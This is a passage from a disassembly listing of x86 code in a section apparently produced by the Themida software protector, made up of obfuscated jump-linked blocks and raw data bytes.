		db 0FFh
; ---------------------------------------------------------------------------


loc_545A59:				; CODE XREF: Themida_:0054C5E5j
		sub	esp, 4
		jmp	loc_54C229
; ---------------------------------------------------------------------------
aL4S		db '‹4$é"%',0
		align 4
		dd 24248B66h, 0FFDFABE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_545A75:				; CODE XREF: Themida_:0054F4E7j
		add	ecx, 2E62308Eh
		shl	ecx, 6
		sub	ecx, 44F77C29h
		push	edi
		mov	edi, 7EFB7029h
		or	edi, 5E4913E4h
		not	edi
		jmp	loc_548068
; ---------------------------------------------------------------------------
aTsrs		db 'Téà‘',0
		db 0
; ---------------------------------------------------------------------------


loc_545A9D:				; CODE XREF: Themida_:0054A929j
		mov	esi, 3AB7040Fh
		jmp	loc_543DC6
; ---------------------------------------------------------------------------
		db 66h
		dd 0D0F76648h, 7E0C166h, 5F580566h, 2D664866h, 31667FCFh
		dd 24048BC5h, 5A04C483h, 24448166h, 660E4B02h, 2246C01h
		dd 246C8166h, 660E4B02h, 0DF42E95Dh, 6855FFFFh,	454F330Ah
		dd 3A4EE9h
		db 0
; ---------------------------------------------------------------------------


loc_545AE9:				; CODE XREF: Themida_:00547E72j
		or	esi, edi
		jmp	loc_54B55B
; ---------------------------------------------------------------------------
		dd 8304C483h, 94E904ECh
		db 27h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_545AFB:				; CODE XREF: Themida_:00548833j
		mov	[esp], ebp
		jmp	loc_54D8A1
; ---------------------------------------------------------------------------


loc_545B03:				; CODE XREF: Themida_:0054A27Bj
		cmp	eax, edx
		jz	loc_544D07
		sub	esp, 4
		mov	[esp], ebx
		push	69A333FDh
		jmp	loc_544648
; ---------------------------------------------------------------------------


loc_545B1B:				; CODE XREF: Themida_:005449C1j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_54BFEE
; ---------------------------------------------------------------------------
		dw 5455h
		dd 4C5815Dh, 56000000h,	2B1EE9h
		db 0
; ---------------------------------------------------------------------------


loc_545B35:				; CODE XREF: Themida_:0054813Cj
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		xchg	ebp, [esp]
		jmp	loc_544E9F
; ---------------------------------------------------------------------------
		dw 74FFh
		dd 8F5F0424h, 895C2404h, 2BD242Ch, 0E9000000h, 66DDh, 80ACEF80h
		dd 0C7FEBEEFh, 80C6EF80h, 0F800E0C7h, 83241C8Bh, 5B0404C4h
		dd 2EC81h, 89660000h, 0D2E9241Ch, 5400004Eh, 9E78E9h
		db 0
; ---------------------------------------------------------------------------


loc_545B89:				; CODE XREF: Themida_:0054F6A5j
		pop	eax
		sub	esp, 4
		jmp	loc_544C7D
; ---------------------------------------------------------------------------
		dw 6857h
		dd 39FD5AFFh, 4743E95Fh, 0EF680000h, 0E968080Ch, 9712h
		dd 4023E952h, 8B660000h, 68522404h, 10D7h, 0E9242489h
		dd 9312h
; ---------------------------------------------------------------------------


loc_545BC0:				; CODE XREF: Themida_:0054C288j
		add	ebp, esi
		jmp	loc_54DA35
; ---------------------------------------------------------------------------
		db 5Ch
		dd 3B04C483h, 0B8E99CC8h
		db 1Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_545BD3:				; CODE XREF: Themida_:00545E6Cj
		jmp	loc_543A20
; ---------------------------------------------------------------------------
		dd 2414F753h, 56F4E9h, 0E9E20000h, 2679h, 31DBB951h, 0CB2953B5h
		dd 0B8505159h, 70E6017Dh, 0F44B2035h, 58C18932h, 3159CB29h
		dd 241C8BD8h, 3104C483h, 0EC8151C3h, 4,	50241C89h, 0D4E97FB0h
		db 0E2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_545C1F:				; CODE XREF: Themida_:00548966j
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		shl	dword ptr [esp], cl
		pushf
		jmp	loc_543A20
; ---------------------------------------------------------------------------


loc_545C34:				; CODE XREF: Themida_:00544EA0j
		push	263Eh
		mov	[esp], ebp
		push	esi
		mov	esi, 0A967B45h
		jmp	loc_5445FF
; ---------------------------------------------------------------------------
aIU1usC		db '‰Þ[U½ =-',27h,'1îé%—',0
		db 0
; ---------------------------------------------------------------------------


loc_545C57:				; CODE XREF: Themida_:00546116j
		push	esi
		mov	esi, 49B8578Ah
		jmp	loc_54C514
; ---------------------------------------------------------------------------
		dw 2C8Bh
		dd 0E3895324h, 4C381h, 0C3830000h, 241C8704h, 2BD555Ch
		dd 29000000h, 1C875DEBh, 24248B24h, 0FFF378E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_545C89:				; CODE XREF: Themida_:00546EFDj
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_54D1DF
; ---------------------------------------------------------------------------
		dd 552CB850h, 0C6291C08h, 57E0E9h, 240C8900h, 88DE8852h
		dd 24148BF1h, 4C481h, 0C880000h, 240C8B87h, 4C481h, 34FF0000h
		dd 441CE924h, 0E9AC0000h, 4304h, 0ABE95954h, 5D00003Eh
		dd 971AE9h
		db 0
; ---------------------------------------------------------------------------


loc_545CD9:				; CODE XREF: Themida_:0054BF3Fj
		or	edi, 38A74808h
		not	edi
		dec	edi
		or	edi, 5AC91DA5h
		jmp	loc_54D9E2
; ---------------------------------------------------------------------------
aUqss		db 'UQé™',27h,0
		align 4


loc_545CF4:				; CODE XREF: Themida_:0054D9EAj
		pop	edi
		xor	eax, edx
		jmp	loc_54D8B1
; ---------------------------------------------------------------------------


loc_545CFC:				; CODE XREF: Themida_:00544D6Bj
		sub	eax, ebp
		add	eax, 0E9D2EFEh
		mov	ebp, [esp]
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_54DE0F
; ---------------------------------------------------------------------------


loc_545D14:				; CODE XREF: Themida_:0054E039j
		shl	ebp, 1
		and	ebp, 21FF1393h
		jmp	loc_54ED01
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 5A2434FFh, 4C481h, 7E680000h, 8900006Bh, 0E589242Ch
		dd 331C68h, 243C8900h, 26D5E9h
		db 0
; ---------------------------------------------------------------------------


loc_545D45:				; CODE XREF: Themida_:00545045j
		add	edi, 0C4CCBC8Eh
		add	edx, edi
		pop	edi
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_548B55
; ---------------------------------------------------------------------------
		db 81h
		dd 0F556D2C2h, 47F4E913h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_545D76:				; CODE XREF: Themida_:0054DF8Cj
		pop	ecx
		sub	ah, 0BCh
		mov	dl, ah
		mov	eax, [esp]
		jmp	loc_54E5F8
; ---------------------------------------------------------------------------
		dd 0F63F03BFh, 2BC78175h, 0F7581600h, 0D5F781D7h, 131F3C0h
		dd 0CF685FF9h, 89000040h, 2BD242Ch, 1000000h, 242C8BE9h
		dd 8704C483h, 248B240Ch, 0A16E924h, 685C0000h, 110Eh, 0E9242C89h
		dd 9A9Ah
; ---------------------------------------------------------------------------


loc_545DC8:				; CODE XREF: Themida_:0054A7A5j
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], edx
		push	ebx
		jmp	loc_5491A2
; ---------------------------------------------------------------------------


loc_545DD7:				; CODE XREF: Themida_:005451F8j
		mov	ecx, [esp]
		add	esp, 4
		pop	eax
		push	edx
		jmp	loc_54D389
; ---------------------------------------------------------------------------
		dd 30FF6658h, 0FFDC33E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_545DED:				; CODE XREF: Themida_:0054FAC2j
		add	eax, 4
		push	2816h
		mov	[esp], ebx
		mov	ebx, 4
		jmp	loc_5449D8
; ---------------------------------------------------------------------------


loc_545E04:				; CODE XREF: Themida_:0054817Bj
		add	ebx, ebp
		pop	ebp
		jmp	loc_54C8A8
; ---------------------------------------------------------------------------
		dd 8124148Bh, 4C4h, 4CEB8100h, 0E924B544h, 1FCEh, 5EAC15Ah
		dd 6AF2814Ah, 89607166h, 0D1F75AD1h, 0CA5C181h,	0E98116B9h
		dd 366E082Ch, 0A5DCF181h, 0C8017CB7h, 74FF5059h, 48B0424h
		dd 5A545224h, 8707E957h, 0C5E90000h
		db 0DBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_545E5B:				; CODE XREF: Themida_:0054D539j
		add	eax, 42B951EDh
		add	eax, ecx
		sub	eax, 42B951EDh
		pop	ecx
		xchg	eax, [esp]
		pop	esp
		jmp	loc_545BD3
; ---------------------------------------------------------------------------
		db 81h,	0E9h, 4
		dd 51000000h, 7925E9h, 0D8295A00h, 55D8015Bh, 324263BDh
		dd 5DE80137h, 431368h, 242C8900h, 75B5CBDh, 0E5C14573h
		dd 3B0DE908h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_545EA2:				; CODE XREF: Themida_:0054AEA8j
		pop	eax
		xchg	eax, [esp]
		pop	ecx
		push	ebx
		mov	ebx, 0FE77D7FDh
		sub	ecx, ebx
		pop	ebx
		push	ebp
		push	ebx
		mov	ebx, ecx
		mov	ebp, ebx
		pop	ebx
		mov	eax, ebp
		pop	ebp
		mov	ecx, [esp]
		add	esp, 4
		shl	eax, cl
		push	eax
		jmp	loc_54C99D
; ---------------------------------------------------------------------------
		db 33h
		dd 248B243Ch, 240CD224h, 0DB46E99Ch, 79B2FFFFh,	0E95AD788h
		dd 0FFFFEBCCh, 9FC5805Ah, 99C580h, 99ED80FDh, 0E99FED80h
		dd 69FBh
; ---------------------------------------------------------------------------


loc_545EF8:				; CODE XREF: Themida_:00543A4Ej
		and	ecx, ebp
		pop	ebp
		shr	ecx, 2
		push	34D9h
		mov	[esp], ebx
		push	dword ptr [esp]
		jmp	loc_548698
; ---------------------------------------------------------------------------
aBxS1ba1	db 'å¸=™1í1ÜÔ',0
		dw 0EA29h
		dd 63EA815Dh, 162C722h,	63C281EAh, 8162C722h, 432877C2h
		dd 24CBE910h, 81590000h, 4C4h, 0DADEE900h, 42DFFFFh, 0E9000000h
		dd 6FAEh
; ---------------------------------------------------------------------------


loc_545F4C:				; CODE XREF: Themida_:00546813j
		add	edi, 105EAC20h
		jmp	loc_549BC0
; ---------------------------------------------------------------------------
		db 68h
		dd 44C36827h, 5E1C159h,	9DCBE56h, 0ADE96C13h, 81000004h
		dd 6C56A0C9h, 8B63E92Ah, 0EA010000h, 4BE565Dh, 0E9000000h
		dd 56DFh, 0BE243489h, 4, 774EF81h, 0F7011F33h, 774C781h
		dd 85E91F33h, 83FFFFDDh, 0A5E904ECh
		db 0EBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_545FA7:				; CODE XREF: Themida_:0054869Cj
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	ebx
		mov	ebx, esp
		push	eax
		mov	eax, 4
		add	ebx, eax
		pop	eax
		push	esi
		jmp	loc_54C2F2
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 88000000h, 0E901875Ch, 9AEFh, 0E905E9C1h, 73A1h, 0E902C683h
		dd 529Bh, 68665B2Ch, 66E90C32h,	66000098h, 68240C8Bh, 615Ch
		dd 89241489h, 1BE56E2h,	57475A0Ah, 5A0A05BFh, 0E9FE3147h
		dd 0FFFFDFE7h, 8B243433h, 0BE562424h, 5F313EEAh, 4247401h
		dd 5124348Bh, 0BA52E189h, 4, 5A52E981h,	0D1010454h, 5A52C181h
		dd 2EE90454h, 8100006Bh, 1E698BC3h, 67E94Fh, 0A3680000h
		dd 8900001Ch, 0E0892404h, 2CAAE9h, 2434FF00h, 5724148Bh
		dd 0C781E789h, 4, 8704C783h, 685C243Ch,	14E1h, 7B8AE9h
		dd 2434FF00h, 592434FFh, 4C481h, 97E90000h, 2D000028h
		dd 15E14719h, 1905F001h, 5615E147h, 0A56CB3BEh,	5EF00150h
		dd 5124348Bh, 0C181E189h, 4, 0FFE86CE9h, 81D301FFh, 1E698BEBh
		dd 26E95A4Fh
		db 2Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5460C3:				; CODE XREF: Themida_:00548EDBj
		push	ebx
		mov	ebx, 3E942DD3h
		or	esi, ebx
		pop	ebx
		dec	esi
		jmp	loc_54BD7A
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 0AF199ECCh, 348BF189h, 4C48124h, 0F7000000h,	1C4FE9D9h
		dd 19BB0000h, 81155017h, 497F05E3h, 5245E958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5460FA:				; CODE XREF: Themida_:0054E8DDj
		push	ebx
		push	2087h
		mov	[esp], edx
		push	0B5302B2h
		mov	edx, [esp]
		add	esp, 4
		mov	ebx, edx
		mov	edx, [esp]
		push	ecx
		push	esp
		pop	ecx
		jmp	loc_545C57
; ---------------------------------------------------------------------------
		db 89h
		dd 0B4502414h, 1FB8E9E6h, 0E9810000h, 4, 5C240C87h, 89243489h
		dd 4C681E6h, 81000000h,	4C6h, 24348700h, 5809E9h, 4B086800h
		dd 14890000h, 17EFE924h, 81490000h, 0D72078C1h,	59CF31E3h
		dd 87CF8147h, 8136B501h, 0E3914FEFh, 5FFE2998h,	2C6835Dh
		dd 4A6BE9h, 289FB500h, 665966E8h, 0EC81535Ah, 4, 83240489h
		dd 0E1E904ECh
		db 63h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_546193:				; CODE XREF: Themida_:0054D8ACj
		add	eax, ebp
		sub	eax, 5F077B0Bh
		mov	ebp, [esp]
		push	211h
		jmp	loc_54EEC4
; ---------------------------------------------------------------------------
		db 0FFh
		dd 56582434h, 0C681E689h, 4, 9499E950h,	248B0000h, 0C896624h
		dd 0B60F6624h, 227AE9C8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5461CA:				; CODE XREF: Themida_:0054B0CFj
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_54EE7E
; ---------------------------------------------------------------------------
		dd 0FF243C89h, 5F042474h, 5C24048Fh, 9C2404FFh,	75BEE9h
		dd 64E98100h, 8B39A664h, 0C481241Ch, 4,	0E904C183h, 15C4h
		dd 918BF57h, 0F8891463h, 6B62055Fh, 8C2D6667h, 0E9650822h
		dd 0FFFFF56Eh, 5F240489h, 0BDC78158h, 0E90057F7h, 7853h
; ---------------------------------------------------------------------------


loc_54622C:				; CODE XREF: Themida_:0054460Aj
		add	ecx, 0C595F53h
		pop	ebp
		mov	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	4139h
		mov	[esp], edi
		jmp	loc_54EE38
; ---------------------------------------------------------------------------


loc_546249:				; CODE XREF: Themida_:0054BB51j
		shr	ah, 3
		add	ah, 54h
		jmp	loc_54D6CD
; ---------------------------------------------------------------------------
		dd 64F26866h, 0FFD873E9h, 0ACC581FFh, 8B50C955h, 0C481243Ch
		dd 4, 0E904C583h, 6F2Dh, 0E95BD989h, 0FFFFF01Fh, 75E7F281h
		dd 0DA31014Fh, 0DA31D331h, 0F174E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54628E:				; CODE XREF: Themida_:0054E399j
		add	ebx, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edx
		push	ebx
		mov	ebx, 3EF54972h
		mov	edx, ebx
		pop	ebx
		xor	edx, 3EF54976h
		add	ebx, edx
		pop	edx
		xchg	ebx, [esp]
		mov	esp, [esp]
		div	ecx
		push	ebx
		mov	ebx, esp
		push	ecx
		push	ebp
		push	ecx
		mov	ecx, 11EE0970h
		add	ecx, 6A1620F1h
		jmp	loc_54F6F3
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0E99C241Ch, 0FFFFD740h, 4EC81h, 14890000h, 6CD1E924h
		dd 0C4830000h, 36E95704h, 1000088h, 698405C8h, 34FF7978h
		dd 84B7E924h, 0E9570000h, 3053h, 2CE8005Ah, 0B65259ECh
		dd 3E65E97Fh, 4870000h,	30E95C24h, 81000076h, 89174CEEh
		dd 0E9F331EDh, 4794h, 0A37D4725h, 2B750559h, 8C0502F1h
		dd 81FCEEC8h, 0D66EA7C6h, 81C6014Bh, 0D66EA7EEh, 0C683584Bh
		dd 24343302h, 0E9243431h, 85CAh, 15DEF01h, 243C8BFAh, 0E904C483h
		dd 0FFFFD6B4h, 4C4835Ah, 31242C33h, 2C33242Ch, 24248B24h
		dd 0E92424D3h, 0FFFFD69Ch
; ---------------------------------------------------------------------------


loc_546384:				; CODE XREF: Themida_:0054DE1Aj
		sub	edi, 6FBE1690h
		shl	edi, 1
		add	edi, 0DD8DB9BAh
		jmp	loc_547683
; ---------------------------------------------------------------------------
		db 0BBh
		dd 4, 15BDD89h,	5D04246Ch, 0D9E95759h, 5AFFFFF9h, 215FF889h
		dd 48B2047h, 8024E924h,	335E0000h, 0C31240Ch, 240C3324h
		dd 3024248Bh, 0E99C2404h, 0FFFFD650h, 4BD55h, 9AE90000h
		dd 88000066h, 0D8F65BD8h, 8934D8F6h, 0D0F6D0F6h, 88E95F34h
		db 67h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5463EF:				; CODE XREF: Themida_:00549D96j
		shr	ch, 4
		jmp	loc_54DF83
; ---------------------------------------------------------------------------
		db 0BDh
		dd 5C767D25h, 0F708EDC1h, 3E5C1D5h, 49A0C581h, 0E5C1309Ah
		dd 48F58107h, 0E9D430F6h, 0FFFFD977h, 4DE9F121h, 8F000018h
		dd 0D5FAE902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_546426:				; CODE XREF: Themida_:0054B184j
		or	ebx, 499A7BC5h
		inc	ebx
		jmp	loc_545920
; ---------------------------------------------------------------------------
		dw 148Bh
		dd 160AE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54643A:				; CODE XREF: Themida_:0054DE4Ej
		pop	ecx
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_54C36D
; ---------------------------------------------------------------------------
		db 5Eh,	50h, 0B8h
		dd 2, 4238E9h, 4EC8100h, 89000000h, 268240Ch, 8B000000h
		dd 0C483240Ch, 23BD5504h, 0F7355E68h, 81DDF7DDh, 0ED3F1FE5h
		dd 7E5C167h, 0FFFFED81h, 0F581FFFFh, 0A7B04EBAh, 15DEA01h
		dd 3BEA81CAh, 0E901A44Fh, 0FFFFD619h, 240C8B66h, 88E95452h
		dd 66000064h, 5024048Bh, 5AAE9h
		db 0
; ---------------------------------------------------------------------------


loc_5464AD:				; CODE XREF: Themida_:0054F069j
		xchg	ebx, [esp]
		mov	esp, [esp]
		sub	edx, ecx
		pop	ecx
		and	eax, edx
		pop	edx
		or	eax, eax
		jmp	loc_548E8A
; ---------------------------------------------------------------------------
		dd 6624248Bh, 8124148Bh, 4ECh, 24148900h, 0C281E289h, 4
		dd 0FFFF78E9h, 0E08950FFh, 2ECFE9h, 58F48000h, 8058E100h
		dd 0C1FE92C1h, 0E0E980h, 0C70059C8h, 8BF82858h,	0ACE9241Ch
		dd 0FF00008Dh, 0D516E932h, 0BE56FFFFh, 4, 15EF089h, 343358C6h
		dd 24343124h, 8B243433h, 48B2424h, 4C48324h, 0B7ED035h
		dd 30FF6636h, 0FFD4EBE9h, 0EA815AFFh, 2950F79h,	4051685Eh
		dd 34890000h, 514BE24h,	25E95664h
		db 2Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54654F:				; CODE XREF: Themida_:00547817j
		xor	esi, 34EA5B70h
		sub	ebp, esi
		pop	esi
		push	ebp
		sub	esp, 4
		jmp	loc_54F2F4
; ---------------------------------------------------------------------------
		dd 3159C889h, 0F78158C7h, 2B0F72DBh, 25D9E9h, 0AE95200h
		dd 5C000010h, 9C2424D2h, 0FFD49BE9h, 0D7015DFFh, 53E0E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54658E:				; CODE XREF: Themida_:0054D1FCj
		add	esi, 11800317h
		sub	esi, 393A45D7h
		push	0
		push	dword ptr [esp]
		jmp	loc_54C6E0
; ---------------------------------------------------------------------------
		db 5Eh
		dd 88E9EE89h, 0B9FFFFE6h, 5E1F2745h, 4244C01h, 24048B59h
		dd 2D04C483h, 5E1F2745h, 200BE9h, 2C8B5400h, 9EEE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5465D2:				; CODE XREF: Themida_:0054DACFj
		push	edx
		push	eax
		push	47DE131Dh
		pop	eax
		jmp	loc_54E221
; ---------------------------------------------------------------------------
		db 0FFh
a4S		db '4$é~+',0
		dw 0BA00h
		dd 4, 5F79E9h, 9CC28100h, 1EF5384h, 292FE9D5h, 0EC830000h
		dd 24348904h, 0DE45EABEh, 2EEC15Ch, 407E9h, 49354800h
		dd 9D2698Ah, 0BB5358C1h, 23D54B3Dh, 5C26F381h, 0E3C14CC2h
		dd 77E94303h
		db 47h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54662F:				; CODE XREF: Themida_:00547373j
		pop	eax
		add	eax, 4
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_543FE1
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832414h, 108AE904h, 54010000h, 0E95A0424h, 2DDBh
		dd 0E9814149h, 1, 4FECF181h, 0CF890502h, 0EBBBBA59h, 16E9FA5Eh
		dd 81000050h, 300B15E3h, 81DBF737h, 0E3F174F3h,	0FBEEE984h
		dd 372DFFFFh, 2D7F9808h, 448369B7h, 8B2434FFh, 89562434h
		dd 4C681E6h, 83000000h,	89E904C6h, 81FFFFD3h, 4ECh, 24148900h
		dd 6811E9h, 5F545700h, 2ADABE56h, 0F75633C8h, 348B2414h
		dd 4C48324h, 2E33E9h, 0C8B6600h, 62316824h, 4890000h, 75B56824h
		dd 38E90000h, 5F00007Bh, 6413E9h, 0F356800h, 14890000h
		dd 8090B224h, 0B551B3E2h, 0FECDFE50h, 0FFED80C5h, 81E95366h
		dd 6600003Eh, 0E5B652h,	45A66F0h, 2CF82866h, 28B9E966h
		dd 68500000h, 135915EBh, 3E0C158h, 2ADBE9h, 24148900h
		dd 0FFE7E2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_546731:				; CODE XREF: Themida_:00545353j
		push	dword ptr [esp]
		pop	ebx
		push	esi
		jmp	loc_54934C
; ---------------------------------------------------------------------------


loc_54673B:				; CODE XREF: Themida_:0054D69Ej
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_543A20
; ---------------------------------------------------------------------------
		dd 68E9D389h, 81FFFFE3h, 0C544EEF7h, 5FF8012Dh,	80CBE9h
		dd 54B26800h, 7CE90000h, 51000053h, 162CE9h, 815E5400h
		dd 4C6h, 4EE8100h, 87000000h, 248B2434h, 243C8924h, 0BFh
		dd 0DFDE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_546792:				; CODE XREF: Themida_:0054C08Ej
		push	edi
		jmp	loc_5442A5
; ---------------------------------------------------------------------------


loc_546798:				; CODE XREF: Themida_:0054A4A6j
		add	ecx, 466242AFh
		jmp	loc_548103
; ---------------------------------------------------------------------------
		db 88h
		dd 88D5F6DDh, 0C8B66EBh, 14E95624h, 89000039h, 2C96E9E2h
		dd 0E9520000h, 0FFFFDEC0h, 0E904E5C1h, 0FFFFD480h, 0E92434FFh
		dd 45CEh, 24048B66h, 0E9595451h, 85F2h
; ---------------------------------------------------------------------------


loc_5467DC:				; CODE XREF: Themida_:0054E84Fj
		sub	ax, 0FDEh
		sub	ax, dx
		push	739Ah
		mov	[esp], ebx
		jmp	loc_5482A5
; ---------------------------------------------------------------------------
		dd 515BD801h, 2B9h, 3CC72D00h, 0C8017501h, 13CC705h, 89E95975h
		db 52h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54680B:				; CODE XREF: Themida_:0054D819j
		xchg	edx, edi
		xor	edi, 5212088Dh
		jmp	loc_545F4C
; ---------------------------------------------------------------------------


loc_546818:				; CODE XREF: Themida_:00544259j
		xor	edi, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		add	edi, 1
		xor	edi, 81573BA0h
		push	edi
		pop	eax
		pop	edi
		and	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		shr	ecx, 6
		push	0BBDh
		mov	[esp], ebp
		push	4488h
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_5444B1
; ---------------------------------------------------------------------------
		dw 0FE01h
		dd 0FFF43BE9h, 0C8B66FFh, 0E7895724h, 4C781h, 0EF830000h
		dd 0DD7EE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54686E:				; CODE XREF: Themida_:0054EAD4j
		add	ecx, esi
		pop	esi
		push	ecx
		jmp	loc_54E18C
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFD1A4h, 0E9243C33h, 69BCh, 0C181E189h, 4, 4E981h
		dd 0C870000h, 81E95C24h, 57FFFFF9h, 1BFh, 0E9F90100h, 3F02h
		dd 2404D366h, 0D16EE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5468B2:				; CODE XREF: Themida_:005491FFj
		push	31B0h
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], ebx
		push	1D8B593Fh
		pop	ebx
		jmp	loc_548167
; ---------------------------------------------------------------------------
		db 89h
		dd 2434FFEEh, 4C4835Dh,	6F4EEF68h, 0C7815F5Dh, 73775BA6h
		dd 0EF81F729h, 73775BA6h, 0E924348Bh, 5566h, 240C8B66h
		dd 3C8B5457h, 9FE95024h, 51FFFFDEh, 8174B7B9h, 59CA291Dh
		dd 23E9D701h
		db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54690F:				; CODE XREF: Themida_:0054EFECj
		pop	eax
		jmp	loc_5455FC
; ---------------------------------------------------------------------------
		db 0FFh, 77h, 1Ch
		dd 6659669Dh, 9C241CD3h, 0FFD0FBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_546925:				; CODE XREF: Themida_:0054DE47j
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		shr	byte ptr [esp],	cl
		pushf
		jmp	loc_543A20
; ---------------------------------------------------------------------------
		db 81h
		dd 0A45F6FEAh, 0E9535B2Fh, 0FFFFF7A6h, 83D830ACh, 1C8904ECh
		dd 859FE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_546952:				; CODE XREF: Themida_:0054D39Aj
		add	esp, 4
		sub	edx, ebp
		mov	ebp, [esp]
		jmp	loc_54540A
; ---------------------------------------------------------------------------
		dw 2B9h
		dd 29000000h, 240C8BCDh, 4C481h, 0FF550000h, 5D042474h
		dd 8B24048Fh, 89662424h, 0F66240Ch, 5166C8B6h, 0D092E99Ch
		dd 1489FFFFh, 4EC8324h,	24048F54h, 4240483h, 0FFD91FE9h
		dd 91E981FFh, 12F870Fh,	91C181C1h, 0E92F870Fh, 2365h, 2784E946h
		dd 0F1090000h, 0E4E9815Eh, 0E9FFB703h, 8897h, 6C37D9BFh
		dd 0E6C7817Dh, 0C15C923Eh, 0B9E903E7h, 5000052h, 3BC0EA3h
		dd 0E2E9C801h, 83000087h, 0E9C304C4h, 565Eh, 4BD555Ch
		dd 1000000h, 1C875DEBh,	24248B24h, 5124048Bh, 13AC68h
		dd 24248900h, 4240481h,	0E9000000h, 0FFFFDB85h,	5605EEC1h
		dd 1F75E9h, 0E9D82900h,	734Bh, 0FFC0B60Fh, 0EDE98734h
		db 0CFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_546A33:				; CODE XREF: Themida_:0054CDFDj
		mov	edx, 319951FFh
		dec	edx
		xor	edx, 2CED3425h
		shl	edx, 7
		shl	edx, 4
		jmp	loc_5475D3
; ---------------------------------------------------------------------------


loc_546A4A:				; CODE XREF: Themida_:0054C64Dj
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_54AC65
; ---------------------------------------------------------------------------
		db 89h
		dd 1E34E9E0h, 0E8010000h, 8904EC83h, 0D2BA2414h, 0E93CB550h
		dd 0FFFFDCE9h
; ---------------------------------------------------------------------------


loc_546A70:				; CODE XREF: Themida_:00544D0Aj
		pop	ebx
		jmp	loc_54508A
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0EC812404h, 4, 89240C89h, 4EC81E1h, 89000000h, 4BD242Ch
		dd 1000000h, 242C8BE9h,	6804C483h, 74C7h, 0BE243489h, 2
		dd 51E4B850h, 0E9482F5Eh, 1133h, 6028C781h, 0CF29111Fh
		dd 6028EF81h, 0C7E9111Fh
		db 0D7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_546AC7:				; CODE XREF: Themida_:0054CAA3j
		pop	edx
		shr	eax, 10h
		xor	eax, ecx
		push	edx
		push	esp
		pop	edx
		push	eax
		mov	eax, 4
		sub	edx, 5E0F042Eh
		add	edx, eax
		push	ebp
		mov	ebp, 5E0F042Eh
		add	edx, ebp
		jmp	loc_54F171
; ---------------------------------------------------------------------------


loc_546AEB:				; CODE XREF: Themida_:0054CBDBj
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		or	eax, eax
		jz	loc_54EB67
		push	dword ptr [edi+1Ch]
		push	ebx
		mov	ebx, 2FB0367Ch
		xor	[esp+4], ebx
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_54F8CE
; ---------------------------------------------------------------------------


loc_546B16:				; CODE XREF: Themida_:005478D2j
		add	edi, ebx
		add	edi, 3E074B0Dh
		pop	ebx
		sub	edx, 18E43009h
		jmp	loc_543A9F
; ---------------------------------------------------------------------------


loc_546B2A:				; CODE XREF: Themida_:00544534j
		mov	esi, [esp]
		add	esp, 4
		and	eax, ecx
		mov	ecx, [esp]
		jmp	loc_547572
; ---------------------------------------------------------------------------
		dw 0C481h
